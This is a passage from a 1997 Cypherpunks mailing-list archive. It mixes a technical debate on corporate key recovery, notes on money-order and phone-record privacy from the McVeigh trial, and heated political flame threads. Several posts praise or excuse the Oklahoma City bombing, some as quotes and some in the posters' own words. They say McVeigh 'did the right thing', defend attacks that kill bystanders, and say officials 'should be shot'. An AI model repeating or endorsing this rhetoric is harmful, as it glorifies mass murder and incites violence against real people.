http://www.economist.com/surveys/elcom/

DCF






From whgiii at amaranth.com  Sat May 10 21:34:05 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sun, 11 May 1997 12:34:05 +0800
Subject: War & InfoWar
In-Reply-To: <199705110311.VAA20026@wombat.sk.sympatico.ca>
Message-ID: <199705110413.XAA00563@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----


In <199705110311.VAA20026 at wombat.sk.sympatico.ca>, on 05/10/97 at 09:15 PM,
   TruthMonger  said:


>  Given the wide knowledge of the OK city Federal Building being a known
>target of anti-government forces, I think the placing of a daycare center
>there was the equivalent of military forces who cowardly advance with
>women and children in front of them. (And there are ample examples of this
>in history.)

Well I think that the FTA's storing of explosives in their offices should
be a clear example of how concerned they were over the safety & welfair of
the rest of those sharing the building with them.

As far as the rest of the post all I can say is that I beleive that their
is a very special place in Hell for those in our government right next
those who let them gain control.

I woun't even discuss the place awaiting those who think what they do is a
"good thing" (Kent) as childern may inadvertantly read this post.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii at amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: OS/2: The choice of the next generation.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM3VW5I9Co1n+aLhhAQH8KAQArvTrAPjA4ky2apiaodcpp4pmWOEE39xr
7ALgqhdjXw0Sulm2uDblvu5YEQy4xmdcULlBKcRI4dkrrUrcOJe4qCtFyJaKSs7Y
n6zUmeGqN3JrR180DGpjYIfqX0ffICCuOdYX9B+g7ybTPDEDXoMh/OunkzJEs5oE
R4oCTnsLuuQ=
=2waB
-----END PGP SIGNATURE-----






From vznuri at netcom.com  Sat May 10 22:09:39 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Sun, 11 May 1997 13:09:39 +0800
Subject: timmy has finally lost it
In-Reply-To: <19970510135714.39308@bywater.songbird.com>
Message-ID: <199705110501.WAA17736@netcom13.netcom.com>



kC on TCM:
>
>"May they all be vaporized."
>
>"Every day that passes, I'm more convinced that McVeigh did the right thing.
>Some innocents died, but, hey, war is hell. Broken eggs and all that."
>

yeah, I've noticed that TCM is really uptight lately and has been way off
the scale (more so than usual) on the "panty-knot" scale. what gives,
Tim? I think the situation is mostly he's so upset that congress is
discussing bills with the words "crypto" in them, which is apparently
enough to make him cringe with terror.

when the CDA was being passed, I think his hemor^h^h^h rhetoric
swelled up then too as well. but look at what happened with the
CDA-- it got challenged, killed by lower courts, 
and is stuck in the supreme court, likely
to be struck down there too. far from the end of the world forecast
by some here.

the congressional crypto bills are generally a good thing, because
they are increasing public awareness of the issue. any bill that
is not fair or just is likely to be tested in the courts, and if
our system is beyond an orwellian tyranny, will be struck down.
do we have a constitution or not? if so, we have nothing to worry
about. (of course, I am not advocating doing nothing, but I am
advocating not panicking or calling for the "vaporization of washington"..)

there might actually be an advanteage in a very orwellian bill
*passing*. if it is struck down, perhaps no legislator would ever
try again, and those that tried would have their reputations marred
with widescale public infamy.

TCM is terrified by virtually anything that happens in govt, which is 
amusing and comical at times.







From alan at ctrl-alt-del.com  Sat May 10 22:46:29 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Sun, 11 May 1997 13:46:29 +0800
Subject: Wine Politics Again! (fwd)
In-Reply-To: <199705110207.EAA12477@basement.replay.com>
Message-ID: <3.0.1.32.19970510222708.00a78c80@mail.teleport.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 04:07 AM 5/11/97 +0200, A. Michael Froomkin wrote:

>It ill behooves participants in a democracy to either advocate or even
>tolerate or even cluck sympathetically at mass murder for political ends. 
>This way lies Bosnia.

I suggest making them look like fools.  It allows public opinion to turn
against the fascists without them having murder or mayhem as a scapegoat. 
There is nothing the greyfaces hate more than laughter.

They have forgotten that "The imposition of order equals the escalation of
disorder".

Now is the time to hack the media.

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBM3VYo+QCP3v30CeZAQEM5wf+OL0EdFL72+AOv4Wc12woXmTWbQYDFRVe
IzmRTngGpM7+10oLrOFoX4NgOtkfbsYqdhUTJyQo9rzEHVNed8sgXFrZO7M6+sgS
DgV4DCtgd0x8957pe0TXdJTko16yZ1fXWLFYjhUNKe8cT9y/0o62LNthjEcQ1qJV
dR3gxyEKK/U1xz76cOXDmCjNuoWSoFXFy8WPtShObp2Re/PcEldDNYUTh1/QrVR/
yi+wwvvd4OgjCYdHiM525vu+1AK4U/Xg7QblOkEcE1BUo07hPY1fCHdKhR9uAonb
VrJSRoCISh2LSfj38jhJMZEQzsqMsqha8o2CRyaav1ltsiVa2vCyEg==
=Tef9
-----END PGP SIGNATURE-----

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From blancw at cnw.com  Sat May 10 22:49:40 1997
From: blancw at cnw.com (Blanc)
Date: Sun, 11 May 1997 13:49:40 +0800
Subject: War & InfoWar
Message-ID: <3.0.32.19970510224212.006e0a84@cnw.com>


TruthMonger wrote:

>  Of course, you have your own definintion of innocenent bystanders,
>while others may have different definitions.
..........................................................

To me, an innocent bystander would be someone who was walking by a building
which was blown up by someone with a grudge against its occupants.

You lose the point of your attack when you kill those who do not relate to
the reason for your attack.

"To save the village, we had to destroy it."


    ..
Blanc






From alan at ctrl-alt-del.com  Sat May 10 22:53:34 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Sun, 11 May 1997 13:53:34 +0800
Subject: Camera Hacking
In-Reply-To: <3.0.32.19691231160000.006ae0c4@best.com>
Message-ID: <3.0.1.32.19970510220245.00a90240@mail.teleport.com>


At 03:44 PM 5/9/97 -0700, Brian C. Lane wrote:
>On Thu, 1 May 1997, geeman wrote:
>
>> have an effect on people's behavior with respect to what they say, whom
>> they associate with, 
>> the clothes they wear, the thoughts they think...
>> 
>> How do you hack a camera?
>
>  Splatball (paintball) gun should do the trick.

The best weapon against a 35mm camera is a flash from a camera.  Aim at the
lens and fire.  (Only if they are looking through it.)  The screams are
worth it.  (One of the few joys of my high school photography class.)

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From alan at ctrl-alt-del.com  Sat May 10 22:57:37 1997
From: alan at ctrl-alt-del.com (Alan Olsen)
Date: Sun, 11 May 1997 13:57:37 +0800
Subject: Wine Politics Again!
In-Reply-To: 
Message-ID: <3.0.1.32.19970510215552.00aa4650@mail.teleport.com>


-----BEGIN PGP SIGNED MESSAGE-----

At 09:26 PM 5/9/97 -0800, Tim May wrote:
>At 4:09 AM -0800 5/9/97, Robert Hettinga wrote:
>>--- begin forwarded text
>>
>>
>>X-Sender: mcooley at pop.tiac.net
>>Date: Thu, 08 May 1997 22:25:28
>>To: dcsb at ai.mit.edu
>>From: Marianne Cooley 
>>Subject: Wine Politics Again!
>:
>>Hello friends of the Virtual Vineyards and family wineries. Remember the
>>felony direct shipping law in Georgia I wrote about a few weeks ago? Well,
>>Governor Miller signed it, unfortunately. Ship a bottle of wine, go to
>>jail. Amazing.
>...
>
>Thanks, Marianne and Bob, for the news.
>
>I am shipping a few bottles of California's finest merlot (much nicer that
>the trendy cabernets) to my sister and her husband in Hollywood, FL.
>
>Always nice to poke a sharp stick in the eyes of the fascists while also
>adding to my list of felonies (should I ever again enter Florida, which
>seems doubtful, at least not for a while).
>
>Chiles and his co-conspirators should be shot for high crimes against the
>Constitution. After Clinton, Freeh, Kerrey, and the other traitors.
>
>Every day that passes, I'm more convinced that McVeigh did the right thing.
>Some innocents died, but, hey, war is hell. Broken eggs and all that.

Florida is just following the lead of Kentucky (I am not sure of the state. 
Check the Wall Street Journal from last Thursday or Friday.) that has also
made shipping alcohol by mail a felony.  Seems the local distributors have
been having a fit about companies like Liquor By Mail cutting into their
monopoly.

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAwUBM3VRTOQCP3v30CeZAQHEuAf8CEixy9WS0THMz+YmVVmCTebR9Nl7l8ew
Sd1+jeTnZ3aXENRx/GCSfk1kfE2GwOid64SYgeOHuxCHKS8kCZBApLVIYuUwmw3f
MfIJtf14KZi0UGPafNMqVked87anaKTtgSY9Vz/FjKRI7j0oWeKsAPYU5QBHQCLp
oQQj8DA/yrkB1RoywhcT0HjSjReEodFjT8kkD24WZUxdozBgMePpyB9yhzxK1pMz
QEIu2av5ueqPDSPFJ5JtnJvaDPwGGqtOBv6LlxH6Qem7ODyLp4uMzHewqbIsby4/
tU51hFqBJu2vPpp78XTOn6sdb+h/Xy58vG9FOV1vUtXlqMnYAtGwYA==
=DZo0
-----END PGP SIGNATURE-----

---
|            "Mi Tio es infermo, pero la carretera es verde!"            |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano at teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan at ctrl-alt-del.com|






From declan at pathfinder.com  Sat May 10 23:29:51 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Sun, 11 May 1997 14:29:51 +0800
Subject: Disinformation in L.A.
In-Reply-To: 
Message-ID: 



On Sat, 10 May 1997, Duncan Frissell wrote:
> 
> Tim was mostly talking about nuking the District of Columbia.  You will
> note that that is an artificial community filled entirely with politicians
> and their sycophants.

Ahem!

I note that Washington, DC occasionally even contains Duncan Frissells,
Lucky Greens, and Sameer Parekhs.

-Declan
Washington, DC







From lucifer at dhp.com  Sat May 10 23:33:32 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Sun, 11 May 1997 14:33:32 +0800
Subject: No Subject
Message-ID: <199705110618.CAA13578@dhp.com>



##
Newsgroups:
Subject: Re: Disinformation in L.A.

On or About 10 May 97 at 19:23, Igor Chudov @ home wrote:

> Duncan Frissell wrote:
> > On Sat, 10 May 1997, Kent Crispin wrote:
> > 
> > > I would expect a "cypherpunk riot" to be a little more aimed at
> > > cyberspace than real-world suburban neighborhoods.  Wouldn't
> > > you?
> > There will be a few unfortunate explosions in the world over the
> > next few years so I'm sure Tim is just hoping for a beneficial
> > target selection.

Those who tell don't know, those who know don't tell.

> Duncan, it is doubtful that there is any member of this mailing
> list, at least of those whom I have seen posting, who will dare to
> raise his fat ass and blow something up.

Man, Igor, you really hit that on the head.  My "blowing things up" 
days are long over.  That was 20 years or more ago AND 50-75 pounds.

I say "Leave that to the younger ones, who think they are 
indestructable, anyway"
 
> The "radicals" are mostly sitting and waiting for something dramatic
> to happen, preferably as far from their nice houses and bank
> accounts as possible.

I've got a nice condo, a wife who is straight arrow, and a bigger 
bank account than I had in the militant hippie daze.  I would, 
however take up arms for the cause of state's rights.  I love my state 
far more than my country, even if I am a Nam vet.

Of course I do considerable fire power at my disposal.  All legal, by 
the way (at the time of this writing).
 
> Jim Bell might be an exception, but I would not bet on him.






From kent at songbird.com  Sat May 10 23:45:35 1997
From: kent at songbird.com (Kent Crispin)
Date: Sun, 11 May 1997 14:45:35 +0800
Subject: key recovery vs data backup
In-Reply-To: <19970510122931.54997@bywater.songbird.com>
Message-ID: <19970510233052.07440@bywater.songbird.com>


On Sun, May 11, 1997 at 12:51:38AM +0100, Adam Back wrote:
> 
> Kent Crispin  writes:
> > On Sat, May 10, 1997 at 07:19:40PM +0100, Adam Back wrote:
> > > It seems to me that it is you Kent who is scrambling to find plausible
> > > reasons why key escrow is the best or only technology to use in
> > > corporate email systems.
> > 
> > Not "best".  "Easiest".  Look at it this way, Adam -- if it was easy 
> > to implement Carl's model, it would already have happened, given the 
> > dislike of key-escrow in the cryptographic community.  
> 
> Firstly: have you done a comprehensive survey of corporate access
> systems available to commerce.

No.  I personally have not.  People I know have, though -- the survey 
was completed about -- um -- a year and a half ago, I guess.  So it 
is somewhat out of date.

> Secondly: there are a number of other forces "encouraging" the GAK
> model.  Government incentives: Europe companies and research groups
> get given research funding to experiment with GAK/TTP architectures.
> Either the architecture is stipulated as part of the call for
> proposals, or proposals involving GAK are going to get funding more
> easily.

That's a good point.

> Third: people involved with key recovery at all have tended to be
> defense contractor types, who are more likely to go with government
> "standards" (such as TTPs/clipper/tessera/etc).

I'm not so sure about this.

> > But, when examined in detail, in light of real requirements from
> > organizations, it is not easy at all.
> 
> I was under the impression that PGP Inc had done it, or is working on
> it.

This is one reason I'm not so sure -- PGP Inc is not a defense contractor.

>  It's not very hard at all, all you need is PGP's existing
> multiple crypto-recipient feature.

If you believe all your employees will correctly use the proper PGP
incantation each and every time, even when they are tired and haven't
had coffee for 4 hours, and their kid is sick, and their wife is mad
about something, then yes, it is simple.  But of course, that is not
realistic.  Employees are forgetful, the organizations goals are not
their goals, and the PGP UI is -- well, I find it a little awkward, 
at times.

So PGP's multiple recipient feature is a fundamental building block, 
but you need something more in a crypto-client to be sure that 
company policy is followed.  It's that "somthing more" that is the 
hard part.

And lest we get into the macho programmer argument -- of course it's 
just a mere matter of design and programming.

> The storage of your company master key needs some thought, but that's
> a common problem with either your crypto key safe model or multiple
> recipient model.
[...]
> I'm not sure that multiple recipient is that much less useful to GAK
> than the safe model, buf if it is at all less useful, and the systems
> otherwise basically equivalent I would argue against the safe model
> for that reason alone.  However I consider the safe model inferior in
> several areas neglecting this issue anyway.
[...]
> I contend that there are similar and mostly comparable problems with
> the safe model.  Lets take a look at a few:
> 
> > > > With this background, perhaps now you can see why I say that Carl's 
> > > > solution doesn't even address the problem.  The problem is management 
> > > > of complexity.  Carl says "encrypt to Acme Corp".  Who in Acme Corp?  
> 
> Kent says give all the keys to Acme corp, or let Acme corp generate
> the keys.  Who is Acme Corp?

The company that bought the crypto software for the protection of 
company secrets.  I think I said "who *in* Acme Corp", though, as a 
prelude to the following points, because with the multiple recipient 
model there is a policy decision as to which key in Acme is the 
master.  

> The next bit is as a result of multiple recipient being more flexible
> than the safe model as stated.  We now have freedom to allow different
> elements in the company to audit and access different departments
> communications.  Naturally this extra flexibility results in policy
> decisions.

Yes.  To make use of this flexibility you now need a piece of software
that allows you to produce policy decisions, sign them, and make them
visible to all the crypto clients.  Another mere matter of design and
programming.  And this bit of sortware needs to operate securely -- 
you can't just any joe blow subverting it.  

> 
> > > > What part of the organization that is Acme Corp is authorized to know 
> > > > this particular bit of information?  Because some of the employees 
> > > > are idiots you want this built automatically into the application 
> > > > they are using for encryption/email/whatever.  How does this software 
> > > > know what policy is appropriate for which employee?  How is that 
> > > > policy distributed?  What is the interface that allows a policy to be 
> > > > defined?   How do you protect the policy definition from subversion?
> 
> If making policy decisions is too complex in your view for
> implementation or practicality, well just substitute a policy dumbed
> down to the level of the safe model.  Ie there is one crypto
> recipient, all company communications _must_ be encrytped to it as a
> second crypto recipient.


You are right -- there is the degenerate case where the master key is
fixed.  However, I would contend that is *very* bad crypto design.  So
thus you have the problem of distributing information about a revoked
master key.  (Your solution, below, was that you have a signed policy
statement.  If you have a security breach, and are revoking a master
key, how do you know what signature to trust?)

Furthermore, by encrypting every document to the same master key you
have actually vastly increased your exposure -- a key-safe can have a
lot of special-purpose physical and cryptographic security, but the
master key in the multiple recipient model is almost certainly treated
the same as all other keys.  For example, in the key-safe model I can
just hand someone the master key on a floppy, and it doesn't do them
any good, because they can't get to the key-safe -- it is physically
secure.  Next I walk into the physically secure facility (I, as keeper
of the keys, have legitimate access), and change the master key.  No
security problem, no documents have been compromised, regardless of
their physical location or access.  With the multiple recipient model
if I hand out the master key, every visible encrypted document is
immediately and irrevocably compromised.  So the key-safe model 
allows you a far greater security for your data than the multiple 
recipient model.

> Policy distribution is something Netscape has been doing; apparently
> the difference between it's browsers is largely a signed policy file
> with a mildly obfuscated public verification key check in the code.

Completely different environment, of course -- I saw some traffic 
where they admitted that probably without too much effort 
the policy could be subverted.  But I don't deny that it would be 
possible to build a policy distribution scheme -- but it is a 
non-trivial problem.

> I'm sure you can arrange this same flexibility and bring in the
> baggage of the policy decisions that come with it for the safe model
> also if you want it.  Store keys for different departments in
> different safes.  Give the master keys for the department to the
> department head, etc.,etc.  Same problem, similar policy decisions,
> right?

Nope.  Not at all.  The policy for multiple recipients needs to be
interpreted by the crypto clients.  But in the key-safe model policy
is almost entirely in human hands.  It doesn't even have to be written
down.  

Modestly secure example: The keysafe runs on a single workstation,
hardened similar to a firewall.  The only network connections are to a
single port, which does the cryptographically secure key storing
protocol.  When a key needs to be recovered, three trusted employees
troop into the room (three passwords are required, these passwords are
essentially the master key), and retrieve the needed key on a floppy. 
Other than the authentication protocol, there is *no* policy embedded
in the key-safe, which is to say, *any* policy the company wants to
use is ok.  It may take the personal presence of the company
president, it may take a signed statement from operations staff,
whatever.  No policy is embedded in software, and no software to
support software needs to be written. 

> > The key-safe model has no significant policy issues that need to be
> > embedded in software -- the only policy is "when data encryption
> > keys are generated a copy is sent to the key-safe (using an
> > encrypted channel, of course)."
> 
> As stated above, this is because you have chosen a single master key
> to go with the safe model.  If you choose a single crypto-recipient,
> and master key encrypting the private half of that key, you largely
> have equivalence.

Not so, as I hopefully explained above, the key-safe can have enhance 
security, so that the danger of a compromise is lessened.

> > > I don't see the difference.  With the encrypt to multiple recipients
> > > approach where the second crypto-recipient is the company key you can
> > > store the private half of the corporate key using the same techniques
> > > you discussed above.
> > > 
> > > Access to the data requires access to the master key in both cases.
> > 
> > It follows, therefore, that if the master key is compromised in both
> > systems, all data is compromised.  From that perspective, the systems
> > are equally secure. 
> 
> Or similarly insecure.  They are quite similar, I think multiple
> recipient offers more flexibility, and security advantages, as well as
> avoiding the sharing of private keys.

I spoke too soon here.  The key-safe model is intrinsically more 
secure.

> 
> > > You fix the second crypto-recipient in the MUA if you wish to.
> > 
> > This is precisely the point I was alluding to in the policy discussion
> > above.  In an organizational content, *of course* you will put all the
> > complexity in the MUA.  The question is, how do you change the 
> > "master key" indicator that is in each MUA?  Suppose that the 
> > organization wants different keys for different departments -- how do 
> > you keep track of which master key goes where?  How do all those 
> > MUA's get their key policy module updated?
> 
> Sign the policy file.  Certify the signing key(s).  You're going to
> have this anway for authentication of email content.

You may not be able to trust the signature.
[...]

> > >  You
> > > can use binding cryptography to ensure the fire-wall can tell that it
> > > is an encrypted copy of the same document without the firewall needing
> > > access to the master key.  You can't do this company has all keys in
> > > the safe model, without givin the firewall automatic access to the
> > > safe, which is a huge security risk.
> > 
> > ???
> > With the key-safe model the firewall never enters into the picture.
> 
> It does for the same functionality.  With the key-safe model how do
> you know that the ciphertexts flowing out of the building are
> encrypted with a key that is in your safe at all?

Oh -- I'm sorry.  I didn't think through what you were saying.  You
were attempting to guard against an insider threat.  A waste of time,
probably.  He could frisbee a floppy out the window to his honey in
the red sports car. 

> You don't have to do the binding cryptography stuff with multiple
> recipients if you don't want to.  With the safe model you can't do it
> even if you do want to.

How does the firewall know what is encrypted?  Just a bunch of gifs 
of the family?  Just the first 5000 lines of "Paradise Lost", slightly 
altered? 

Anyway, if the employee uses the "approved" MUA, and it isn't 
compromised, then it can store a copy of all outgoing mail, encrypted 
with the employee's key.  If he doesn't use the approved MUA, or the 
MUA is compromised, then of course the firewall protections are 
useless.  So, in the keysafe model, the firewall never enters the 
picture -- it is all handled in the MUA, anyway.

> > > The advantage of the multiple recipient model is that doesn't commit
> > > the cardinal sin/design flaw of sharing private crypto keys.
> > 
> > Two things:  First, any crypto system that doesn't deal with 
> > protection/recovery/secure-use of private keys is incomplete.
> 
> For storage encryption keys where backups are not plaintext, I agree.
> For communication keys, you do not need to backup.  Doing so weakens
> security.  Communications keys should be transient, forward secret
> even.  Authentication keys should be persistent, back up not required,
> just generate new key, and new certificates if lost.  Storage keys
> should be backed up where necessary.

I agree with all this.  Only storage keys need to be in the keysafe.

[...]

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From tm at dev.null  Sat May 10 23:49:15 1997
From: tm at dev.null (TruthMonger)
Date: Sun, 11 May 1997 14:49:15 +0800
Subject: War & InfoWar
Message-ID: <199705110628.AAA04901@wombat.sk.sympatico.ca>


Blanc wrote:
> TruthMonger wrote:
> >  Of course, you have your own definintion of innocenent bystanders,
> >while others may have different definitions.
> ..........................................................
> To me, an innocent bystander would be someone who was walking by a building
> which was blown up by someone with a grudge against its occupants.
> 
> You lose the point of your attack when you kill those who do not relate to
> the reason for your attack.

  Not necessarily. Free thinkers are perfectly capable of judging the
reasons behind those involved on both sides of a conflict, and making
an individual judgement as to the culpability of both parties.
  When a citizen shoots an intruder who is breaking into their house
and threatening their saftey, there will always be family members,
lawyers and anti-gun proponents who will decry the individual's use
of force to defend their home and person/family. There are others,
whoever, who will recognize that the perpetrator is the one who is
ultimately responsible for placing the homeowner in the position of
having a need to defend themself.

  Personally, if I need to worry about my life because my government's
actions makes them an actionable target of an increasing number of the
citizens, then I am going to take action to change the government.
  I do not deny anyone's right to suffer silently, but neither do I
deny an individual's right to strike out at the source of their
oppression.

  If you have developed a method for waging war without ordinary
citizens coming into the line of fire, then I would like to hear 
about it. I don't like conflict any more than the next person, but
I do not see concession to the oppressor as a viable option just
because conflict will cause loss and heartache.
  Take a look at the results of the appeasement policy that Britain
had in regard to Hitler. It resulted in scores of deaths that could
have been prevented had those proposing it taken a firm stand that
supported freedom from tyranny.

  The fact is that Tim McVeigh is facing criminal charges for his
chosen actions, while the murderers at Waco are not.
  Until the average citizens demand the same justice for government
agents as is demanded of anti-government agents, the average John
or Jane Doe can expect to get caught in the crossfire.

TruthMonger






From tm at dev.null  Sun May 11 00:18:01 1997
From: tm at dev.null (TruthMonger)
Date: Sun, 11 May 1997 15:18:01 +0800
Subject: Vlad-smear blows himself...
Message-ID: <199705110658.AAA05955@wombat.sk.sympatico.ca>


Vladimir Z. Nuri wrote: 
> kC on TCM:
> >
> >"May they all be vaporized."
> >
> >"Every day that passes, I'm more convinced that McVeigh did the right thing.
> >Some innocents died, but, hey, war is hell. Broken eggs and all that."

> yeah, I've noticed that TCM is really uptight lately and has been way off
> the scale (more so than usual) on the "panty-knot" scale. what gives,
> Tim? I think the situation is mostly he's so upset that congress is
> discussing bills with the words "crypto" in them, which is apparently
> enough to make him cringe with terror.
> 
> when the CDA was being passed, I think his hemor^h^h^h rhetoric
> swelled up then too as well. but look at what happened with the
> CDA-- it got challenged, killed by lower courts,
> and is stuck in the supreme court, likely
> to be struck down there too. far from the end of the world forecast
> by some here.

  Get real. The Feds have attacks going on a dozen fronts on 
anything they support or oppose and they don't particularly care
if a bill is constitutional or not, as long as it achieves the
desired effect. They are happy as long as they can terrorize
enough citizens and businesses with threats of imprisonment to
move things in their desired direction.
  
> do we have a constitution or not? if so, we have nothing to worry
> about.

  What a crock of shit! This is just another variation of "It's
not perfect, but it's the best sytem we've got." Why is it always
the oppressors who seem so enamored of the way the system works?

> TCM is terrified by virtually anything that happens in govt, which is
> amusing and comical at times.

  If I thought Vlad-smear was not a paid government schill, then I
would assume he is a fucking idiot.
  I love to see how quickly "patriots" stop waving the red, white and
blue once the government's stick gets shoved up their own butt. Believe
it or not, Vlad-smear, there are individuals who fight against loss of
freedom and liberty even when it is someone else who is getting 
screwed.

TruthMonger






From blancw at cnw.com  Sun May 11 00:41:35 1997
From: blancw at cnw.com (Blanc)
Date: Sun, 11 May 1997 15:41:35 +0800
Subject: War & InfoWar
Message-ID: <3.0.32.19970511003249.006b1640@cnw.com>


TruthMonger wrote:

>  The fact is that Tim McVeigh is facing criminal charges for his
>chosen actions, while the murderers at Waco are not.
>  Until the average citizens demand the same justice for government
>agents as is demanded of anti-government agents, the average John
>or Jane Doe can expect to get caught in the crossfire.
........................................................


Well, you're an average citizen.   Have you demanded the same justice for
govmt agents, and was your demand honored?

Gee, too bad.   Tough luck.

    ..
Blanc
    ..
Blanc






From apb at iafrica.com  Sun May 11 01:38:00 1997
From: apb at iafrica.com (Alan Barrett)
Date: Sun, 11 May 1997 16:38:00 +0800
Subject: key recovery vs data backup
In-Reply-To: <19970508192011.29178@bywater.songbird.com>
Message-ID: 


On Thu, 8 May 1997, Kent Crispin wrote:
> Unfortunately, it doesn't solve the problem at all.  In fact it
> doesn't even address the problem.  So much so that reading these
> replies makes me think that I am looking at different problem than
> you.

There are many similarities between your idea of a "key safe" for CAK
(corporate access to keys), and the idea espoused by Carl and others
of encrypting everything to a corporate key as well as to the other
recipients.


If the corporation expects to be successful at forcing it's staff to run
special software that talks to the CAK key safe, then the corporation
should also expect to be successful at forcing its staff to run special
software that adds the special coprorate key as a recipient of all
encrypted messages.

If the corporation expects to be successful at keeping the keys to the
CAK key safe secure, while still allowing an appropriate coalition of
high level managers to get access to the contents of the key safe,
then the corporation should also expect to be successful at keeping
the private part of the corporate key secure, while still allowing
an appropriate coalition of high level managers to use the special
corporate private key to decrypt messages.

If the coproration trusts those with access to the CAK key safe not to
abuse their access, then the corporation should also trust those with
access to the special corporate key not to abuse it.

> With this background, perhaps now you can see why I say that Carl's
> solution doesn't even address the problem.  The problem is management
> of complexity.  Carl says "encrypt to Acme Corp".  Who in Acme Corp?
> What part of the organization that is Acme Corp is authorized to know
> this particular bit of information?

Whatever the answer to the latter question is, it's the same in the CAK
case as it is in the "encrypt to a special coprorate key" case.

> Because some of the employees are idiots you want this
> built automatically into the application they are using for
> encryption/email/whatever.  How does this software know what policy
> is appropriate for which employee?  How is that policy distributed?
> What is the interface that allows a policy to be defined?  How do you
> protect the policy definition from subversion?

The same problems arise in the CAK case.  And the same solution: you
make the user's software do the same thing every time, and implement the
policy elsewhere.

> Access to the key-safe is critical, of course, but it can be made very
> secure -- a special-purpose piece of hardware that requires passwords
> from n out of m key czars before access is granted, for example.
> Or the contents of the key safe can be encrypted via keys escrowed
> through a secret sharing mechanism

The same problems and solutions apply in both the CAK case and in the
"corporate key as extra crypto recipient" case.


Now, having spent some time attempting to show that the two cases are
almost identical in many respects, let me point out a few ways in which
I think encrypting to a special corporate key is better than CAK.

  - With CAK, the key safe contains at least a copy of every key used by
    every staff member.  All that needs to be kept secure.  This storage
    problem does not arise in the non-CAK case.

  - With CAK, every time a user creates a new key, the user's software
    needs to talk to teh key safe.  This needs a secure channel, which
    raises further authentication problems (how does the user know that
    he's not talking to a fake key safe).  These don't arise in the
    non-CAK case.

  - Once a CAK infrastructure is in place, it is likely to be easier
    for a government to impose GAK.  It's better not to set up the CAK
    infrastructure in the first place.

    To be fair, similar arguments apply to the "add an extra crypto
    recipient" case: just add two extra crypto recipients (corporate key
    and big-brother key).  But I think that the general public is more
    likely to understand what the government wants and to reject the
    idea in this case than in the GAK case.

--apb (Alan Barrett)






From daw at cs.berkeley.edu  Sun May 11 02:26:17 1997
From: daw at cs.berkeley.edu (David Wagner)
Date: Sun, 11 May 1997 17:26:17 +0800
Subject: Money orders, debit cards, ...
Message-ID: <5l42hm$u44@joseph.cs.berkeley.edu>


Some court transcripts from the McVeigh case contain interesting
information about real-life anonymous systems.  See
    http://www.cnn.com/US/9703/okc.trial/transcripts/may/050697.eve.html

Did you know that money orders are not so anonymous as you might think?
On the order itself are digits identifying the post office where the
order was purchased, as well as the date of purchase.  Also, a private
company testified on their money order service, and it comes out that
they keep a computerized record of every money order purchase in a
central database.  Eek.

And read about a real-life instance of traffic analysis of phone calls
based on timing correlations.  This one really happened, folks (though
it was by mistake).  Also, read about how a company offering prepaid
debit cards searched through billions of records to find all phone calls
to or from a certain number, etc.  Read about how they entered a disk
containing information on 100,000--200,000 phone calls (!) into evidence.
(Note: contents of calls are protected by law, but traffic analysis
specifically is allowed, far as I can tell.)

And you value your privacy?  Too bad!






From apb at iafrica.com  Sun May 11 02:28:36 1997
From: apb at iafrica.com (Alan Barrett)
Date: Sun, 11 May 1997 17:28:36 +0800
Subject: key recovery vs data backup
In-Reply-To: <19970510233052.07440@bywater.songbird.com>
Message-ID: 


On Sat, 10 May 1997, Kent Crispin wrote:
> So PGP's multiple recipient feature is a fundamental building block,
> but you need something more in a crypto-client to be sure that company
> policy is followed.  It's that "somthing more" that is the hard part.
>
> And lest we get into the macho programmer argument -- of course it's
> just a mere matter of design and programming.

Yes.  And probably a lot less design and programming than the key-safe
mechanism.  (For example, PGP already has an "encrypt-to-self" option
that makes it add the user's own key as an additional crypto recipient
of all messages; changing that to the more general "encrypt to this list
of extra keys" should be quite easy.  But designing and building a key
safe sounds like a lot of work to me.)

Of coure, you trust the users not to use versions of PGP that do not
make the corporate key a recipient of all communications, right?  If
not, then you also don't trust them not to use keys that have not been
sent to the key safe in the CAK model.

> > If making policy decisions is too complex in your view for
> > implementation or practicality, well just substitute a policy
> > dumbed down to the level of the safe model.  Ie there is one crypto
> > recipient, all company communications _must_ be encrytped to it as a
> > second crypto recipient.
>
> You are right -- there is the degenerate case where the master key is
> fixed.  However, I would contend that is *very* bad crypto design.  So
> thus you have the problem of distributing information about a revoked
> master key.  (Your solution, below, was that you have a signed policy
> statement.  If you have a security breach, and are revoking a master
> key, how do you know what signature to trust?)

In the key-safe model, you have the problem o distributing information
about a change in location (network address) of the key safe, or a
